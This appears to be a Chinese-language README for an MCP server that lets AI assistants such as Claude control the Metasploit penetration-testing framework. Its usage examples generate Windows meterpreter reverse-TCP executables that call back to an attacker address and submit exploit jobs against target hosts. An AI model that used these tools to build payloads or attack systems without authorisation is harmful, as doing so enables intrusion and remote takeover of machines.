Metasploitmcp

🚀 MetaSploit MCP 服務器

MetaSploit MCP 服務器將大型語言模型（如Claude）與MetaSploit框架集成，藉助標準化工具提供自然語言界面，讓AI助手能動態訪問和控制MetaSploit功能，極大提升複雜滲透測試工作流程的便捷性。

🚀 快速開始

此 MCP 服務器為大型語言模型（如Claude）與MetaSploit 框架之間搭建了橋樑，使人工智能助手可直接調用和控制 MetaSploit 的功能，實現複雜安全測試工作流程的自然語言交互。

✨ 主要特性

模塊信息

• 列舉 exploits：搜索並列出可用的 MetaSploit 攻擊模塊。
• 列舉 payloads：搜索並列出可用的攻擊載荷。
• 生成 payload：通過配置參數生成自定義載荷。

📦 安裝指南

先決條件

1. 安裝 Python 3.8 或更高版本。
2. 安裝 MetaSploit 框架（推薦使用最新的穩定版）。
3. 環境變量配置：
   • 設置 MSF_PATH 環境變量指向 MetaSploit 的安裝目錄。
   • 可選：設置 PAYLOAD_SAVE_DIR 環境變量指定載荷保存路徑。

安裝步驟

1. 克隆項目倉庫：

git clone https://github.com/yourusername/metasploit-mcp.git
cd metasploit-mcp

2. 創建並激活虛擬環境（推薦使用 Python 3 虛擬環境）：

python -m venv mcp-venv
source mcp-venv/bin/activate  # 對於 Linux/macOS
mcp-venv\Scripts\activate     # 對於 Windows

3. 安裝依賴項：

pip install -r requirements.txt

💻 使用示例

基礎用法

啟動服務器

python server.py

調用功能示例

# 列舉可用的 exploits
list_exploits()

# 生成自定義 payload
generate_payload(exploit_type="windows/meterpreter/reverse_tcp", 
                 output_format="exe", 
                 parameters={"LHOST": "192.168.1.10", "LPORT": 4444})

# 提交攻擊任務
submit_job(exploit_id=1, target_hosts=["192.168.1.100"], payload_id=1)

高級用法

攻擊模塊測試

# 列舉可用的 exploits
list_exploits()  # 返回所有可用 exploit 的列表

# 生成自定義 payload
generate_payload(exploit_type="windows/x64/meterpreter/reverse_tcp",
                 output_format="exe", 
                 parameters={"LHOST": "192.168.1.1", "LPORT": 4444})

# 提交攻擊任務
submit_job(exploit_id=1, target_hosts=["192.168.1.100"], payload_id=1)

任務管理

# 查看所有任務
list_jobs()  # 返回所有正在運行和已完成的任務列表

# 終止特定任務
terminate_job(job_id=1)  # 中止指定任務 ID 的執行

📚 詳細文檔

配置選項

載荷保存目錄

默認情況下，生成的載荷將保存到用戶主目錄下的 payloads 文件夾中。您可以通過設置 PAYLOAD_SAVE_DIR 環境變量自定義此路徑：

• Windows (PowerShell)：

$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"

• Windows (Command Prompt)：

set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads

• Linux/macOS：

export PAYLOAD_SAVE_DIR=/custom/path/to/payloads

• 通過配置文件指定：

{
    "env": {
        "MSF_PATH": "/opt/metasploit",
        "PAYLOAD_SAVE_DIR": "/var/custom/payloads"
    }
}

注意：如果您指定的路徑不存在，程序將嘗試自動創建它。如果無法創建，請確保應用程序有權限訪問該目錄。

🔧 技術細節

安全注意事項

1. 權限管理：
   • 確保 MCP 服務器運行在最小權限賬戶下。
   • 配置防火牆限制外部訪問。
2. 日誌監控：
   • 啟用詳細的審計日誌記錄。
   • 定期審查操作日誌。
3. 安全更新：
   • 及時更新 MetaSploit 框架到最新版本。
   • 定期掃描和修復服務器漏洞。

📄 許可證

本項目遵循 Apache 2.0 許可證協議。